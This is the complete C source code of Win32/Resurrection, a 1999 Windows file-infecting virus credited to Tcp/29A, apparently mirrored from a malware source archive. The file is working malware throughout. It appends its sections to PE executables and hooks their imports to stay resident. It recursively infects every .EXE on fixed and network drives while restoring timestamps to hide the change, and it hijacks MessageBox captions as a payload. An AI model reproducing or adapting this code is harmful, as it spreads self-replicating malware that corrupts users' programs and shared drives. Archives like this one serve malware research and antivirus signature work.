mirror of
https://github.com/vxunderground/MalwareSourceCode
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705 lines
26 KiB
NASM
705 lines
26 KiB
NASM
////////////////////////////////////////////////////////////////////
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//
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// Win32/Resurrection
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//
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// Coded in late June'99/July'99/[VX vacations]/December'99
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//
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// (c)1999 Tcp/29A (tcp@cryogen.com)
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//
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// This is my 1st Windows virus (at last:) and the first coded by
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// me in the last 2 years.
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//
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// It is a PE memory resident appending virus fully written in C.
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// I think it's the first virus written in C that doesn't change
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// the NewExe pointer.
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// It could be also the 1st resident virus for Alpha machines running
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// NT. If you can compile and test it in Alpha, please send me a mail.
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//
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//
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// How the virus work?
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// - It creates a low priority thread that searchs and infects files.
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// - It adds its sections reading them from memory, relocates the
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// code/data and fixes the relocs (then the virus needs always
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// its own reloc section).
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// It imports the host import section, replacing the ExitProcess
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// call to ExitThread; then the virus will be the main thread and
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// it can continue searching for files even when host has finnished.
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// - If the file's last section is the reloc section, the virus
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// joins this section with its reloc section so if the file is
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// not loaded at its preferred address the system will reloc it
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// and the virus.
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//
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// The virus is called Resurrection because it's my resurrection in
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// the VX scene.
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// Unfortunately, I hadn't time to code the Resurrection payload:
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// using OLE automation and the C:\CLASS.SYS from W97M/Class (or
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// the one from Ethan) it could resurrect the virus.
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// Then I coded a simple payload that changes the captions in
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// MessageBoxes used by the host.
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//
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// Sorry for the obfuscated C and poorly optimized code, but it
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// works (i hope) and, hey, it's a virus :)
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//
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// This virus is dedicated to Jacky Qwerty, we'll miss you. And to
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// 29Aers for don't kicking a lazy and improductive member as I am ;)
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//
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// Well, now i got another 2 years credit hahaha (not!)
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//
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// Tcp.
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//
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////////////////////////////////////////////////////////////////////
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/////////////
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// Includes
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/////////////
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#include <stdio.h>
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#include <windows.h>
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/////////////////////
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// Defines
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/////////////////////
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#define MEMALLOC(x) GlobalAlloc(GPTR, x)
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#define MEMFREE(x) GlobalFree(x)
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/////////////////////
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// Type definitions
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/////////////////////
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typedef struct
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{
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WORD RelocOfs : 12;
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WORD RelocType: 4;
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} IMAGE_RELOCATION_DATA;
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////////////
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// Globals
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////////////
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IMAGE_NT_HEADERS PEHeader;
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IMAGE_DOS_HEADER * IDosHeader;
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IMAGE_NT_HEADERS * IPEHeader;
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IMAGE_SECTION_HEADER * ISection;
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IMAGE_SECTION_HEADER * Section = NULL;
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int Generation = 1;
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int VirusSections = 0;
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int FirstVirusSection = 0;
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int VirusCodeSection = 0;
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int VirusImportSection = 0;
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DWORD VirusImportSize = 0;
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DWORD VirusRVAImports = 0;
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DWORD HostRVAImports = 0;
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int VirusRelocSection = 0;
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DWORD VirusRelocSize = 0;
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DWORD VirusRelocSizeDir = 0;
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DWORD OfsSections = 0;
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DWORD VirusBaseRVA = 0;
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DWORD VirusEP = 0;
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DWORD HostEP = 0;
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//// Fix for Visual C 5.0 heap
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//extern __small_block_heap;
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//////////////
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// Functions
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//////////////
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/////////////////////////////////////
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// GetProcAddress for ordinal imports
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/////////////////////////////////////
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DWORD GetProcAddressOrd(DWORD Base, DWORD NFunc)
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{
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IMAGE_NT_HEADERS * DLLHeader;
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IMAGE_EXPORT_DIRECTORY * Exports;
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DWORD * AddrFunctions;
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DLLHeader = (IMAGE_NT_HEADERS *)(Base + ((IMAGE_DOS_HEADER *)Base)->e_lfanew);
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Exports = (IMAGE_EXPORT_DIRECTORY *)(Base + DLLHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
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AddrFunctions = (DWORD *)(Base + Exports->AddressOfFunctions);
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return Base + AddrFunctions[NFunc - Exports->Base];
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}
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//////////////////////////////////
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// Check file and read PE header
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//////////////////////////////////
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int ReadPEHeader(HANDLE FHandle)//FILE * FHandle)
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{
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IMAGE_DOS_HEADER FileHeader;
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WORD SizeSections;
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DWORD BytesRead;
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return
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( // Read file header
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( ReadFile(FHandle, &FileHeader, sizeof(IMAGE_DOS_HEADER), &BytesRead, NULL) )
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&&
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( BytesRead == sizeof(IMAGE_DOS_HEADER) )
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&& // Check if EXE file
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( FileHeader.e_magic == IMAGE_DOS_SIGNATURE )
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&& // Seek to NewExe header
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( SetFilePointer(FHandle, FileHeader.e_lfanew, NULL, FILE_BEGIN) != (DWORD)-1 )
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&& // Read header
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( ReadFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL) )
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&&
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( BytesRead == sizeof(IMAGE_NT_HEADERS) )
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&& // Check if PE file
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( PEHeader.Signature == IMAGE_NT_SIGNATURE )
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&& // Alloc memory for file sections + virus sections
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( (SizeSections = (PEHeader.FileHeader.NumberOfSections + VirusSections) * sizeof(IMAGE_SECTION_HEADER)) )
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&&
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( (Section = MEMALLOC(SizeSections)) != NULL )
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&&
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( (OfsSections = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT)) )
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&& // Read PE sections
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( ReadFile(FHandle, Section, SizeSections, &BytesRead, NULL) )
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&&
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( BytesRead == SizeSections )
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&& // Check if there is enough room for our sections
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( (SetFilePointer(FHandle, 0, NULL, FILE_CURRENT) + (VirusSections * sizeof(IMAGE_SECTION_HEADER))) <= PEHeader.OptionalHeader.SizeOfHeaders )
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&& // Only infect when entry point belongs to 1st section
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// Avoid reinfections and compressors (usually perform virus checks)
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( PEHeader.OptionalHeader.AddressOfEntryPoint < Section[0].VirtualAddress + Section[0].SizeOfRawData )
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&& // Skip DDLs
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( !(PEHeader.FileHeader.Characteristics & IMAGE_FILE_DLL) )
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&& // Skip files with overlays or not aligned to file alignment
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( SetFilePointer(FHandle, 0, NULL, FILE_END) == Section[PEHeader.FileHeader.NumberOfSections-1].PointerToRawData + Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
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&& //Check if the host will overwrite our code with its unitialized data (not present in disk)
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( Section[PEHeader.FileHeader.NumberOfSections-1].Misc.VirtualSize <= Section[PEHeader.FileHeader.NumberOfSections-1].SizeOfRawData )
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);
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}
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///////////////////////////////////////
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// Translates a RVA into a file offset
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///////////////////////////////////////
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DWORD RVA2Ofs(DWORD rva)
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{
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int NSect;
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NSect = 0;
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while ( NSect < (PEHeader.FileHeader.NumberOfSections - 1) )
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{
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if ( (Section[NSect].VirtualAddress + Section[NSect].SizeOfRawData) >= rva )
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break;
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NSect++;
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}
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return (Section[NSect].PointerToRawData + ( rva - Section[NSect].VirtualAddress ));
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}
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////////////////////////////////////////////
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// I can't remember what this function does
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////////////////////////////////////////////
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void InfectFile(HANDLE FHandle)
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{
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BYTE * Relocations = NULL;
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BYTE * HostRelocs = NULL;
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BYTE * Ptr;
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IMAGE_BASE_RELOCATION * RelocBlock;
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IMAGE_RELOCATION_DATA * PtrReloc;
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int j;
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// Let's do some initializations
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Section = NULL;
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Relocations = NULL;
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HostRelocs = NULL;
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Ptr = NULL;
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if (ReadPEHeader(FHandle))
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{
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DWORD SectionRVA;
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int HostNSections;
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DWORD HostRelocsSize;
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DWORD BytesRead;
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int i;
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HostEP = PEHeader.OptionalHeader.AddressOfEntryPoint;
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HostNSections = PEHeader.FileHeader.NumberOfSections;
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HostRVAImports = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
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// Search for victim import section
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for (i=0; i<HostNSections; i++)
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{
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if (Section[i].VirtualAddress + Section[i].SizeOfRawData > HostRVAImports)
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{
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// Do it writable
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Section[i].Characteristics |= IMAGE_SCN_MEM_WRITE;
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break;
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}
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}
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// Check if last section is .reloc
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HostRelocsSize = 0;
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if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress == Section[HostNSections-1].VirtualAddress)
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{
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// Then we'll join it to virus reloc section
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VirusBaseRVA = SectionRVA = Section[HostNSections-1].VirtualAddress;
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if ( (HostRelocs = (BYTE *)MEMALLOC((HostRelocsSize = PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size))) == NULL)
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{
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goto L_Exit_Infect;
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}
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else // Read the .reloc section
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{
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HostNSections--;
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SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
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ReadFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
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SetFilePointer(FHandle, Section[HostNSections].PointerToRawData, NULL, FILE_BEGIN);
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}
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}
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else // There is no .reloc or it is not the last section
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{
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if (PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0)
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{ // There are relocs but we didn't find them, so exit
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goto L_Exit_Infect;
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}
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VirusBaseRVA = SectionRVA = PEHeader.OptionalHeader.SizeOfImage;
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SetFilePointer(FHandle, 0, NULL, FILE_END);
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}
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FirstVirusSection = HostNSections;
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// Add virus section table
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CopyMemory(&Section[HostNSections], &ISection[0], sizeof(IMAGE_SECTION_HEADER) * VirusSections);
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// Reloc virus code & fix reloc sections
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if ((Relocations = MEMALLOC((VirusRelocSize > 0x1000)? VirusRelocSize : 0x1000)) == NULL) // Minimun a page
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{
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goto L_Exit_Infect;
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}
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CopyMemory(Relocations, (BYTE *)((DWORD)IDosHeader + ISection[VirusRelocSection].VirtualAddress + ISection[VirusRelocSection].Misc.VirtualSize - VirusRelocSize), VirusRelocSize);
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RelocBlock = (IMAGE_BASE_RELOCATION *)Relocations;
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PtrReloc = (IMAGE_RELOCATION_DATA *)(Relocations + sizeof(IMAGE_BASE_RELOCATION));
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// Reloc all virus sections and write them to disk
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for (i=0; i<VirusSections; i++)
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{
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DWORD RelocsInBlock;
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Section[HostNSections + i].PointerToRawData = SetFilePointer(FHandle, 0, NULL, FILE_CURRENT);
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Section[HostNSections + i].VirtualAddress = SectionRVA;
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Section[HostNSections + i].SizeOfRawData = (ISection[i].SizeOfRawData + PEHeader.OptionalHeader.FileAlignment-1) & (-(long)PEHeader.OptionalHeader.FileAlignment);
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if (i == VirusRelocSection) // Virus reloc section?
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{
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PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress = SectionRVA;
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PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size = HostRelocsSize + VirusRelocSize;
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Section[HostNSections + i].Misc.VirtualSize = HostRelocsSize + VirusRelocSize;
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Section[HostNSections + i].SizeOfRawData = (HostRelocsSize + VirusRelocSize + (PEHeader.OptionalHeader.FileAlignment - 1)) & (-(long)PEHeader.OptionalHeader.FileAlignment);
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// Write host relocations
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WriteFile(FHandle, HostRelocs, HostRelocsSize, &BytesRead, NULL);
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// Add virus relocations
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WriteFile(FHandle, Relocations, VirusRelocSize, &BytesRead, NULL);
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// Fill with zeros until file alignment
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memset(Relocations, 0, 0x1000);
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WriteFile(FHandle, Relocations, Section[HostNSections + i].SizeOfRawData - (HostRelocsSize + VirusRelocSize), &BytesRead, NULL);
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}
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else
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{
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if ((Ptr = (BYTE *)MEMALLOC(ISection[i].SizeOfRawData)) == NULL)
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{
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goto L_Exit_Infect;
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}
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CopyMemory(Ptr, (BYTE *)((DWORD)IDosHeader + ISection[i].VirtualAddress), ISection[i].SizeOfRawData);
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// Patch Visual C 5.0 heap in .data section
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/*
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{
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DWORD * PtrHeap = &__small_block_heap;
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if (((DWORD)IDosHeader + ISection[i].VirtualAddress < (DWORD)PtrHeap)
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&&
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((DWORD)IDosHeader + ISection[i].VirtualAddress + ISection[i].SizeOfRawData > (DWORD)PtrHeap)
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)
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{
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PtrHeap = (DWORD *)(Ptr + (DWORD)PtrHeap - (DWORD)IDosHeader - ISection[i].VirtualAddress);
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PtrHeap[3] = PtrHeap[2];
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PtrHeap[4] = PtrHeap[5] = (DWORD)-1;
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}
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}
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*/
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// Do relocations in this section
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while ( (ISection[i].VirtualAddress + ISection[i].SizeOfRawData > RelocBlock->VirtualAddress)
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&&
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((DWORD)PtrReloc < (DWORD)Relocations + VirusRelocSizeDir)
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)
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{
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DWORD Base;
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Base = RelocBlock->VirtualAddress - ISection[i].VirtualAddress;
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RelocsInBlock = (RelocBlock->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOCATION_DATA);
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while (RelocsInBlock--)
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{
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if (PtrReloc->RelocType == IMAGE_REL_BASED_HIGHLOW)
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{
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*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) -= (IPEHeader->OptionalHeader.ImageBase + ISection[i].VirtualAddress);//RelocBlock->VirtualAddress);
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*((DWORD *)&Ptr[Base + PtrReloc->RelocOfs]) += (PEHeader.OptionalHeader.ImageBase + SectionRVA);
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}
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PtrReloc++;
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}
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RelocBlock->VirtualAddress = RelocBlock->VirtualAddress - ISection[i].VirtualAddress + SectionRVA;
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RelocBlock = (IMAGE_BASE_RELOCATION *)PtrReloc;
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PtrReloc = (IMAGE_RELOCATION_DATA *)((BYTE *)RelocBlock + sizeof(IMAGE_BASE_RELOCATION));
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}
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// Check if this is the Import section
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if (i == VirusImportSection)
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{
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IMAGE_IMPORT_DESCRIPTOR * Imports;
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IMAGE_THUNK_DATA * DataImports;
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DWORD StartImports;
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DWORD DeltaRVAs;
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DeltaRVAs = SectionRVA - ISection[i].VirtualAddress;
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StartImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[i].VirtualAddress;
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Imports = (IMAGE_IMPORT_DESCRIPTOR *)&Ptr[StartImports];
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while (Imports->OriginalFirstThunk)
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{
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// Fix some initialized fields in memory
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Imports->TimeDateStamp = Imports->ForwarderChain = 0;
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Imports->OriginalFirstThunk += DeltaRVAs;
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Imports->Name += DeltaRVAs;
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Imports->FirstThunk += DeltaRVAs;
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DataImports = (IMAGE_THUNK_DATA *)&Ptr[Imports->OriginalFirstThunk - SectionRVA];
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do
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{
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DataImports->u1.AddressOfData = (IMAGE_IMPORT_BY_NAME *)((DWORD)DataImports->u1.AddressOfData + DeltaRVAs);
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}
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while ((++DataImports)->u1.AddressOfData);
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Imports++;
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}
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}
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WriteFile(FHandle, Ptr, Section[HostNSections + i].SizeOfRawData, &BytesRead, NULL);
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MEMFREE(Ptr);
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Ptr = NULL;
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}
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SectionRVA += ( Section[HostNSections + i].Misc.VirtualSize + (PEHeader.OptionalHeader.SectionAlignment - 1)) & (-(long)PEHeader.OptionalHeader.SectionAlignment);
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}//for
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// Recalculate Header fields
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PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress = 0;
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PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size = 0;
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PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].VirtualAddress = 0;
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PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IAT].Size = 0;
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PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = VirusRVAImports + Section[HostNSections + VirusCodeSection].VirtualAddress;
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PEHeader.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size;
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PEHeader.OptionalHeader.SizeOfImage = SectionRVA;
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PEHeader.OptionalHeader.AddressOfEntryPoint = VirusEP + Section[HostNSections + VirusCodeSection].VirtualAddress;
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PEHeader.FileHeader.NumberOfSections = HostNSections + VirusSections;
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PEHeader.OptionalHeader.SizeOfCode = 0;
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PEHeader.OptionalHeader.SizeOfInitializedData = 0;
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PEHeader.OptionalHeader.SizeOfUninitializedData = 0;
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for (j=0; j<PEHeader.FileHeader.NumberOfSections; j++)
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{
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if (Section[j].Characteristics & IMAGE_SCN_CNT_CODE)
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PEHeader.OptionalHeader.SizeOfCode += Section[j].SizeOfRawData;
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if (Section[j].Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA)
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PEHeader.OptionalHeader.SizeOfInitializedData += Section[j].SizeOfRawData;
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if (Section[j].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA)
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PEHeader.OptionalHeader.SizeOfUninitializedData += Section[j].SizeOfRawData;
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}
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// Write new header and section table
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SetFilePointer(FHandle, OfsSections - sizeof(IMAGE_NT_HEADERS), NULL, FILE_BEGIN);
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WriteFile(FHandle, &PEHeader, sizeof(IMAGE_NT_HEADERS), &BytesRead, NULL);
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WriteFile(FHandle, Section, PEHeader.FileHeader.NumberOfSections * sizeof(IMAGE_SECTION_HEADER), &BytesRead, NULL);
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}
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L_Exit_Infect:
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// Free allocated memory
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if (HostRelocs != NULL)
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MEMFREE(HostRelocs);
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if (Relocations != NULL)
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MEMFREE(Relocations);
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if (Section != NULL)
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MEMFREE(Section);
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if (Ptr != NULL)
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MEMFREE(Ptr);
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}
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///////////////////////////////////////////
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// Recursively search for files to infect
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///////////////////////////////////////////
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void SearchFiles(char * Path)
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{
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HANDLE FindHandle;
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HANDLE FHandle;
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WIN32_FIND_DATA FindResult;
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FILETIME Time1, Time2, Time3;
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if (SetCurrentDirectory(Path))
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{
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// Search for EXE files in current directory
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if ((FindHandle = FindFirstFile("*.EXE", &FindResult)) != INVALID_HANDLE_VALUE)
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{
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do
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{
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FHandle = CreateFile(FindResult.cFileName,
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GENERIC_READ | GENERIC_WRITE,
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0,
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NULL,
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OPEN_EXISTING,
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FILE_ATTRIBUTE_ARCHIVE,
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NULL
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);
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if (FHandle != INVALID_HANDLE_VALUE)
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{
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GetFileTime(FHandle, &Time1, &Time2, &Time3); // Get file time
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InfectFile(FHandle); // Infect file
|
|
SetFileTime(FHandle, &Time1, &Time2, &Time3); // Restore file time
|
|
CloseHandle(FHandle);
|
|
}
|
|
}
|
|
while (FindNextFile(FindHandle, &FindResult));
|
|
}
|
|
FindClose(FindHandle);
|
|
// Now search for subdirectories and process them
|
|
if ((FindHandle = FindFirstFile("*", &FindResult)) != INVALID_HANDLE_VALUE)
|
|
{
|
|
do
|
|
{
|
|
if (FindResult.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
|
|
{
|
|
char * DirName;
|
|
|
|
DirName = _strupr(_strdup(FindResult.cFileName));
|
|
if (
|
|
(memcmp(DirName, "SYSTEM", 6)) // Skip SYSTEM??
|
|
&&
|
|
(FindResult.cFileName[0] != '.') // Skip loops with "." and ".."
|
|
)
|
|
{
|
|
SearchFiles(FindResult.cFileName);
|
|
}
|
|
free(DirName);
|
|
}
|
|
}
|
|
while (FindNextFile(FindHandle, &FindResult));
|
|
}
|
|
FindClose(FindHandle);
|
|
}
|
|
}
|
|
|
|
|
|
/////////////////////////////////////////////
|
|
// Search fixed and network drives to infect
|
|
/////////////////////////////////////////////
|
|
DWORD WINAPI SearchDrives()
|
|
{
|
|
DWORD Drives;
|
|
BYTE CurrentDrive[] = "A:\\";
|
|
DWORD DriveType;
|
|
BYTE i;
|
|
|
|
Drives = GetLogicalDrives();
|
|
for (i=0; i<sizeof(DWORD); i++)
|
|
{
|
|
if (Drives & (1<<i)) // Drive present?
|
|
{
|
|
CurrentDrive[0] = 'A' + i;
|
|
DriveType = GetDriveType(CurrentDrive);
|
|
// Only infect files in Fixed and Network Drives
|
|
if ((DriveType == DRIVE_FIXED) || (DriveType == DRIVE_REMOTE))
|
|
{
|
|
SearchFiles(CurrentDrive);
|
|
}
|
|
}
|
|
}
|
|
return 1;
|
|
}
|
|
|
|
|
|
///////////
|
|
// Payload
|
|
///////////
|
|
int MyMessageBox(HWND hWnd, LPSTR Text, LPSTR Caption, UINT Type)
|
|
{
|
|
char * Msgs[] =
|
|
{
|
|
"Hey you, stupid",
|
|
"Win32/Resurrection by Tcp/29A",
|
|
"Warning! Don't close this window",
|
|
"I already told you this but..."
|
|
};
|
|
static int i = 0;
|
|
|
|
return MessageBoxA(hWnd, Text, Msgs[++i & 3], Type);
|
|
}
|
|
|
|
|
|
// Simulated host for 1st generation
|
|
void Gen1()
|
|
{
|
|
MyMessageBox(NULL, "", NULL, MB_OK);
|
|
}
|
|
|
|
|
|
// Virus Entry Point
|
|
void main()
|
|
{
|
|
BYTE InfectedFile[_MAX_PATH];
|
|
DWORD ThreadID;
|
|
DWORD ThreadInfID;
|
|
HANDLE HThread;
|
|
HANDLE InfThread;
|
|
int i;
|
|
HMODULE * HandleDLL = NULL;
|
|
int ImportedDLLs = 0;
|
|
|
|
|
|
// Get the infected filename
|
|
GetModuleFileName(NULL, InfectedFile, sizeof(InfectedFile));
|
|
// And its memory address
|
|
IDosHeader = (IMAGE_DOS_HEADER *)GetModuleHandle(InfectedFile);
|
|
|
|
IPEHeader = (IMAGE_NT_HEADERS *)((BYTE *)IDosHeader + IDosHeader->e_lfanew);
|
|
|
|
if ( IPEHeader->Signature == IMAGE_NT_SIGNATURE ) // Check if we got the PE header
|
|
{
|
|
// Get ptr to Sections
|
|
ISection = (IMAGE_SECTION_HEADER *)((BYTE *)IPEHeader + sizeof(IMAGE_NT_HEADERS));
|
|
// Get ptr to virus Sections
|
|
ISection += FirstVirusSection;
|
|
|
|
if (Generation++ == 1)
|
|
{ // Make some easy 1st-gen calcs to avoid complex ones in next generations
|
|
HostEP = (DWORD)Gen1 - (DWORD)IDosHeader;
|
|
VirusSections = IPEHeader->FileHeader.NumberOfSections; // Number of sections
|
|
// Get the order of sections
|
|
for (i=0; i<VirusSections; i++)
|
|
{
|
|
if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.AddressOfEntryPoint)
|
|
&&
|
|
(ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.AddressOfEntryPoint)
|
|
)
|
|
{ // This is the code section
|
|
VirusCodeSection = i;
|
|
VirusEP = IPEHeader->OptionalHeader.AddressOfEntryPoint - ISection[i].VirtualAddress;
|
|
}
|
|
else
|
|
{
|
|
if ((ISection[i].VirtualAddress <= IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
|
|
&&
|
|
(ISection[i].VirtualAddress + ISection[i].SizeOfRawData > IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress)
|
|
)
|
|
{ // This is the import section
|
|
VirusImportSection = i;
|
|
VirusRVAImports = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress - ISection[0].VirtualAddress;
|
|
}
|
|
else
|
|
{
|
|
if (ISection[i].VirtualAddress == IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress)
|
|
{ // This is the reloc section
|
|
VirusRelocSection = i;
|
|
VirusRelocSize = ISection[i].Misc.VirtualSize;
|
|
VirusRelocSizeDir = IPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
|
}
|
|
}
|
|
}
|
|
}//for
|
|
}
|
|
else // Not first generation
|
|
{
|
|
IMAGE_IMPORT_DESCRIPTOR * HostImports;
|
|
int i;
|
|
|
|
HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
|
|
// Count imported DLLs
|
|
while (HostImports->OriginalFirstThunk)
|
|
{
|
|
ImportedDLLs++;
|
|
HostImports++;
|
|
}
|
|
HandleDLL = (HMODULE *)MEMALLOC(ImportedDLLs * sizeof(HMODULE));
|
|
// Make host imports
|
|
HostImports = (IMAGE_IMPORT_DESCRIPTOR *)(HostRVAImports + (DWORD)IDosHeader);
|
|
for (i=0; i<ImportedDLLs; i++)
|
|
{
|
|
DWORD * FunctionName;
|
|
DWORD * FunctionAddr;
|
|
LPCTSTR Name;
|
|
LPCTSTR StExitThread = "ExitThread";
|
|
|
|
if ((HandleDLL[i] = LoadLibrary((LPCTSTR)(HostImports->Name + (DWORD)IDosHeader))) == NULL)
|
|
{ // Exit if not find a DLL
|
|
char StError[100];
|
|
|
|
MEMFREE(HandleDLL);
|
|
sprintf(StError, "Can not find %s", (LPCTSTR)(HostImports->Name + (DWORD)IDosHeader));
|
|
MessageBox(NULL, StError, "Error initializing program", MB_OK | MB_ICONWARNING);
|
|
ExitProcess(0);
|
|
}
|
|
|
|
// Perform host imports
|
|
FunctionName = (DWORD *)(HostImports->OriginalFirstThunk + (DWORD)IDosHeader);
|
|
FunctionAddr = (DWORD *)(HostImports->FirstThunk + (DWORD)IDosHeader);
|
|
while (*FunctionName)
|
|
{
|
|
if (*FunctionName & IMAGE_ORDINAL_FLAG)
|
|
{
|
|
// Windows doesn't like ordinal imports from kernel32, so use my own GetProcAddress
|
|
*FunctionAddr = GetProcAddressOrd((DWORD)HandleDLL[i], IMAGE_ORDINAL(*FunctionName));
|
|
}
|
|
else
|
|
{
|
|
Name = (LPCTSTR)((DWORD)IDosHeader + *FunctionName + 2/*Hint*/);
|
|
// Change ExitProcess by ExitThread
|
|
if (!strcmp(Name, "ExitProcess"))
|
|
Name = StExitThread;
|
|
// Set payload
|
|
if (!strcmp(Name, "MessageBoxA"))
|
|
*FunctionAddr = (DWORD)&MyMessageBox;
|
|
else
|
|
*FunctionAddr = (DWORD)GetProcAddress(HandleDLL[i], Name);
|
|
}
|
|
FunctionName++;
|
|
FunctionAddr++;
|
|
}
|
|
HostImports++;
|
|
}
|
|
}
|
|
|
|
HostEP += (DWORD)IDosHeader;
|
|
// Exec host with a thread
|
|
if ((HThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)HostEP, GetCommandLine(), 0, &ThreadID)) != NULL)
|
|
{
|
|
HANDLE VirusMutex;
|
|
|
|
// Check if already resident
|
|
if ( ((VirusMutex = CreateMutex(NULL, FALSE, "29A")) != NULL)
|
|
&&
|
|
(GetLastError() != ERROR_ALREADY_EXISTS)
|
|
)
|
|
{
|
|
// Create infection thread
|
|
InfThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)SearchDrives , NULL, CREATE_SUSPENDED, &ThreadInfID);
|
|
// Assign a low priority
|
|
SetThreadPriority(InfThread, THREAD_PRIORITY_IDLE);
|
|
// Activate it
|
|
ResumeThread(InfThread);
|
|
// Wait until infection completed
|
|
WaitForSingleObject(InfThread, INFINITE);
|
|
ReleaseMutex(VirusMutex);
|
|
}
|
|
// Wait until host thread finnished
|
|
WaitForSingleObject(HThread, INFINITE);
|
|
}
|
|
|
|
for (i=0; i<ImportedDLLs; i++)
|
|
{
|
|
FreeLibrary(HandleDLL[i]);
|
|
}
|
|
if (HandleDLL != NULL)
|
|
MEMFREE(HandleDLL);
|
|
}
|
|
}
|